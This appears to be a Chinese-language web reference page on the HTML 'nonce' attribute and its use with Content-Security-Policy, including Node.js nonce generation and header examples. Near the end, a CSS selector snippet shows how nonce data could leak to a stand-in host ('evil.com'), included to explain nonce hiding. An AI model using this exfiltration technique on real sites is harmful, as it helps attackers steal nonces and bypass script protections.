nonce

**nonce** 全域性屬性 是一個內容屬性,定義了一個加密的 nonce(“一次性使用數字”),它可以被 內容安全策略 用於確定是否允許對給定元素進行給定的獲取。

描述

nonce 屬性可用於將特定元素列入白名單,例如特定的內聯指令碼或樣式元素。它可以幫助您避免使用 CSP unsafe-inline 指令,該指令將列入白名單**所有**內聯指令碼或樣式。

注意:僅當您無法避免使用不安全的內聯指令碼或樣式內容時,才使用 nonce。如果您不需要 nonce,請勿使用它。如果您的指令碼是靜態的,您也可以使用 CSP 雜湊代替。(請參閱 不安全的內聯指令碼 上的使用說明。)始終嘗試充分利用 CSP 保護,並在任何可能的情況下避免使用 nonce 或不安全的內聯指令碼。

使用 nonce 將 <script> 元素列入白名單

使用 nonce 機制將內聯指令碼列入白名單涉及幾個步驟

生成值

從您的 Web 伺服器生成一個至少 128 位資料的隨機 Base64 編碼字串,該字串來自加密安全的隨機數生成器。每次頁面載入時,都應以不同的方式生成 Nonce(Nonce 只使用一次!)。例如,在 nodejs 中

js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

將內聯指令碼列入白名單

您在後端程式碼中生成的 nonce 現在應用於您要列入白名單的內聯指令碼

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

使用 CSP 標頭髮送 nonce

最後,您需要在 Content-Security-Policy 標頭中傳送 nonce 值(在前面加上 nonce-

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

訪問 nonce 和 nonce 隱藏

出於安全原因,nonce 內容屬性是隱藏的(將返回空字串)。

js
script.getAttribute("nonce"); // returns empty string

nonce 屬性是訪問 nonce 的唯一方法

js
script.nonce; // returns nonce value

Nonce 隱藏有助於防止攻擊者透過可以從內容屬性中獲取資料的機制來洩露 nonce 資料

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

規範

規範
HTML 標準
# attr-nonce

瀏覽器相容性

BCD 表格僅在啟用 JavaScript 的瀏覽器中載入。

另請參閱